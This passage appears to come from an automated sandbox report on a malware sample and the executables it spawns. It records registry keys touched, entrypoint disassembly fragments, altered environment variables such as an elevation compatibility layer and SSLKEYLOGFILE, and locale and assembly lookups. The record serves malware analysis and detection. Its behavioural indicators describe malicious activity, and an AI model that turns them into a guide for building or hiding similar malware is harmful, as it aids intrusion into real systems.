"HKCU\WOW6432NODE\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "2cD4503.exe" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "2cD4503.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "2cD4503.exe" touched "This Device" (Path: "HKCU\WOW6432NODE\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "2cD4503.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\WOW6432NODE\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "2cD4503.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "2cD4503.exe" touched "CLSID_SearchHome" (Path: "HKCU\WOW6432NODE\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "2cD4503.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "2cD4503.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "2cD4503.exe" touched "Other Users Folder" (Path: "HKCU\WOW6432NODE\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "2cD4503.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\WOW6432NODE\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "2cD4503.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "2cD4503.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "2cD4503.exe" touched "Games Explorer" (Path: "HKCU\WOW6432NODE\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "2cD4503.exe" touched "StreamBackedFolder" (Path: "HKCU\WOW6432NODE\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "2cD4503.exe" touched "Computers and Devices" (Path: "HKCU\WOW6432NODE\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "2cD4503.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "2cD4503.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "2cD4503.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\WOW6432NODE\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\WOW6432NODE\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\WOW6432NODE\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}")48:T25d1,"3a9c8dc060b839403dcfc8a72d29defd.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "Lm3NB63.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "Rb3sH52.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "6dt0iT0.exe" file has an entrypoint instructions - "jmp 0x86a352,add byte ptr [eax + 8], ah,add byte ptr [eax], al,pushal ,call 0x86a358,pop ebp,sub ebp, 0x10,sub ebp, 0x46a348,jmp 0x86a36e,push edx,mov eax, 0xa348b870,inc esi,add byte ptr [ebx], al,lds eax, ptr [ecx + 0x4cc0],add byte ptr [ecx + 0x620], bh,mov edx, 0x8c41a1d4,xor byte ptr [eax], dl,inc eax,dec ecx,jne 0x86a385,jmp 0x86a398,pop ss," "explorhe.exe" file has an entrypoint instructions - "jmp 0x7ff8b6,add ah, dh,add eax, 0,add byte ptr [eax - 0x18], ah,add byte ptr [eax], al,add byte ptr [eax], al,pop ebp,sub ebp, 0x10,sub ebp, 0x3ff8ac,jmp 0x7ff8d2,je 0x7ff888,push edi," "5id6CC5.exe" file has an entrypoint instructions - "call 0x420aea,jmp 0x4203fb,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fdf0,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x49fdf8,mov dword ptr [ecx], 0x49fdf0,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fe0c,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0," "1uT83YZ4.exe" file has an entrypoint instructions - "call 0x420aea,jmp 0x4203fb,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fdf0,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x49fdf8,mov dword ptr [ecx], 0x49fdf0,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fe0c,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0," "rise.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "FANBooster131.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "cN5Rh86.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "sqlite3.dll" file has an entrypoint instructions - "jmp 0x100a9752,jmp 0x10084dd0,jmp 0x10083310,jmp 0x100a7460,jmp 0x100a8840,jmp 0x10084c70,jmp 0x10082e10,jmp 0x10086cc0,jmp 0x10089a90,jmp 0x100824e0,jmp 0x100867c0,jmp 0x10086020,jmp 0x10084340,jmp 0x100a9f11,jmp 0x100aa3db,jmp 0x100a86ef,jmp 0x10088a80,jmp 0x10089260,jmp 0x10089c60,jmp 0x100a9d91," "ev.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "R83RL20231230_1_.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "clip64.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1000672f,call 0x10006b19,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x100065f0,add esp, 0xc,pop ebp,ret 0xc,jmp 0x10009a35,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x10005f18,push 0x10017590,lea eax, [ebp - 0xc],push eax,call 0x10006db7,int3 ,push ebp,mov ebp, esp,and dword ptr [0x10019b08], 0,sub esp, 0x24,or dword ptr [0x10019004], 1,push 0xa,call 0x10010cc7,test eax, eax,"49:T261a,Process "Lm3NB63.exe" (UID: 00000000-00005872) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigation", PROCESSOR_ARCHITEW6432="AMD64"" Process "Lm3NB63.exe" (UID: 00000000-00005872) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00006748) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "msedge.exe" (UID: 00000000-00006748) was launched with modified environment variables: "Path" Process "2cD4503.exe" (UID: 00000000-00005152) was launched with modified environment variables: "Path" Process "2cD4503.exe" (UID: 00000000-00005152) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING" Process "msedge.exe" (UID: 00000000-00004800) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_6748_PNTOJSDBAQPQUUOV", FPS_BROWSER_USER_PROFILE_STRING="Default", EDGE_BROWSER_PID="6748"" Process "msedge.exe" (UID: 00000000-00004800) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "msedge.exe" (UID: 00000000-00004800) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "msedge.exe" (UID: 00000000-00001940) was launched with new environment variables: "EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325"" Process "msedge.exe" (UID: 00000000-00007788) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT"" Process "powershell.exe" (UID: 00000000-00006764) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "powershell.exe" (UID: 00000000-00006764) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "powershell.exe" (UID: 00000000-00006764) was launched with missing environment variables: "CHROME_RESTART, FPS_BROWSER_APP_PROFILE_STRING, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, FPS_BROWSER_USER_PROFILE_STRING, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00002804) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_6748_PNTOJSDBAQPQUUOV", FPS_BROWSER_USER_PROFILE_STRING="Default", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325", EDGE_BROWSER_PID="6748"" Process "msedge.exe" (UID: 00000000-00002804) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "msedge.exe" (UID: 00000000-00002804) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "msedge.exe" (UID: 00000000-00002852) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64", PROMPT="$P$G"" Process "msedge.exe" (UID: 00000000-00002852) was launched with modified environment variables: "USERNAME, LOCALAPPDATA, USERDOMAIN, APPDATA, Path, COMPUTERNAME, TEMP, USERPROFILE, TMP" Process "msedge.exe" (UID: 00000000-00001588) was launched with modified environment variables: "USERNAME, LOCALAPPDATA, USERDOMAIN, APPDATA, Path, COMPUTERNAME, TEMP, USERPROFILE, TMP" Process "msedge.exe" (UID: 00000000-00001588) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432, PROMPT" Process "powershell.exe" (UID: 00000000-00007848) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "powershell.exe" (UID: 00000000-00007848) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "powershell.exe" (UID: 00000000-00007848) was launched with missing environment variables: "CHROME_RESTART, FPS_BROWSER_APP_PROFILE_STRING, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, FPS_BROWSER_USER_PROFILE_STRING, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH, EDGE_BROWSER_PID" Process "schtasks.exe" (UID: 00000000-00007340) was launched with new environment variables: "PROMPT="$P$G"" Process "WerFault.exe" (UID: 00000000-00004232) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", __COMPAT_LAYER="ElevateCreateProcess WRPMitigation", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_4752_GFAMYCXHPRSRCCGZ", FPS_BROWSER_USER_PROFILE_STRING="Default", EDGE_BROWSER_PID="4752"" Process "WerFault.exe" (UID: 00000000-00004232) was launched with modified environment variables: "LOCALAPPDATA, Path, COMPUTERNAME, TEMP, TMP" Process "4Ut851dI.exe" (UID: 00000000-00002800) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigation", PROCESSOR_ARCHITEW6432="AMD64"" Process "4Ut851dI.exe" (UID: 00000000-00002800) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, COMPUTERNAME, ProgramFiles" Process "msedge.exe" (UID: 00000000-00004752) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "msedge.exe" (UID: 00000000-00004752) was launched with modified environment variables: "Path" Process "6dt0iT0.exe" (UID: 00000000-00005104) was launched with modified environment variables: "Path" Process "6dt0iT0.exe" (UID: 00000000-00005104) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING" Process "msedge.exe" (UID: 00000000-00004604) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_6748_PNTOJSDBAQPQUUOV", FPS_BROWSER_USER_PROFILE_STRING="Default", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325", EDGE_BROWSER_PID="6748"" Process "msedge.exe" (UID: 00000000-00004604) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "msedge.exe" (UID: 00000000-00004604) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "rundll32.exe" (UID: 00000000-00004524) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", SSLKEYLOGFILE="%TEMP%\sslkey.txt", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", LOGONSERVER="\\DESKTOP-FVVF82A", SESSIONNAME="Console", __COMPAT_LAYER="ElevateCreateProcess WRPMitigation", OneDrive="%USERPROFILE%\OneDrive", FPS_BROWSER_USER_PROFILE_STRING="Default", PROCESSOR_ARCHITEW6432="AMD64", HOMEPATH="\Users\%OSUSER%", HOMEDRIVE="C:"" Process "rundll32.exe" (UID: 00000000-00004524) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, PROCESSOR_ARCHITECTURE, APPDATA, USERNAME, CommonProgramFiles, Path, COMPUTERNAME, TEMP, USERPROFILE, TMP, ProgramFiles" Process "powershell.exe" (UID: 00000000-00004704) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING" Process "ev.exe" (UID: 00000000-00005892) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "msedge.exe" (UID: 00000000-00008156) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_6748_PNTOJSDBAQPQUUOV", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325", EDGE_BROWSER_PID="6748"" Process "msedge.exe" (UID: 00000000-00008156) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "msedge.exe" (UID: 00000000-00008156) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "Setup1234.exe" (UID: 00000000-00005216) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", SSLKEYLOGFILE="%TEMP%\sslkey.txt", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", LOGONSERVER="\\DESKTOP-FVVF82A", SESSIONNAME="Console", __COMPAT_LAYER="ElevateCreateProcess WRPMitigation", OneDrive="%USERPROFILE%\OneDrive", FPS_BROWSER_USER_PROFILE_STRING="Default", PROCESSOR_ARCHITEW6432="AMD64", HOMEPATH="\Users\%OSUSER%", HOMEDRIVE="C:"" Process "Setup1234.exe" (UID: 00000000-00005216) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, PROCESSOR_ARCHITECTURE, APPDATA, USERNAME, CommonProgramFiles, Path, COMPUTERNAME, TEMP, USERPROFILE, TMP, ProgramFiles"4a:T704,"3a9c8dc060b839403dcfc8a72d29defd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Lm3NB63.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "Lm3NB63.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Lm3NB63.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Rb3sH52.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "Rb3sH52.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Rb3sH52.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cN5Rh86.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "cN5Rh86.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cN5Rh86.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1uT83YZ4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "1uT83YZ4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "1uT83YZ4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1uT83YZ4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "2cD4503.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "2cD4503.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "2cD4503.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")4b:T1420,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",03,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",02,"Microsoft.CSharp Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a",03,"System.Configuration Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll",03,"System.Xml Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll",0" [Source: 6dt0iT0.exe.log] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00007404-00000C25-32184108] Observed system executable 